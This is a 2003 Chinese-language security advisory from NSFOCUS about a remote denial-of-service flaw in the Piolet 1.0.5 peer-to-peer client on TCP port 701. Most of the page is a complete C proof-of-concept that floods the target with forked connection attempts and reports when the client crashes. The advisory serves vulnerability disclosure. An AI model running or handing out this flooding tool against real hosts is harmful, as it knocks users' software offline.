首页 -> 安全研究

安全研究

安全漏洞
Piolet客户端远程拒绝服务攻击漏洞

发布日期:2003-08-20
更新日期:2003-08-26

受影响系统:
Piolet Networks Piolet 1.0.5
描述:
BUGTRAQ  ID: 8463

Piolet是一款点对点文件共享客户端。

Piolet对提交到TCP 701端口的请求缺少正确处理,远程攻击者可以利用这个漏洞对客户端进行拒绝服务攻击。

通过连接TCP 701端口,客户端会显示用户"voice chat session request"的消息,攻击者可以对此端口进行'淹没'攻击,而使Piolet客户端应用程序崩溃。

<*来源:Luca Ercoli (luca.ercoli@inwind.it
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106140108901024&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

luca.ercoli(luca.ercoli@inwind.it) 提供了如下测试程序:

/************************************************************
* Piolet client v1.05 Remote Denial of Service              *
* Proof of Concept by Luca Ercoli  luca.ercoli[at]inwind.it *
************************************************************/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>


int ck,port=701,sd,cx=0,contatore=0,prec;

struct sockaddr_in pilot_client;



void ending(char *client){

int i;


pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(client);


for(i = 0; i < 100; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));


if(ck != 0) {

prec = 0;

if (prec == 0) contatore++;
if (prec == 1) contatore = 0;

if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}

}

if(ck == 0) prec = 1;

  close(sd);
}

}




void kill_pilot(char *stringa){

short i;

  pilot_client.sin_family = AF_INET;
  pilot_client.sin_port = htons((u_short)port);
  pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);
  

for(i = 0; i < 50; i++){

  
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));


if(ck != 0) exit(0);

close(sd);

}

}




int main(int argc, char **argv)
{

short i;

prec = 0;

  if(argc < 2)
  {
    printf("\nUsage: %s <client-ip>\n", argv[0]);
    exit(0);
  }
  

prec=0;

printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");


for (i=0; i<12; i++)  if(!fork()) kill_pilot(argv[1]);

printf ("+ Ending...\n");

ending(argv[1]);
  
}

建议:
厂商补丁:

Piolet Networks
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.piolet.com/

浏览次数:2994
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障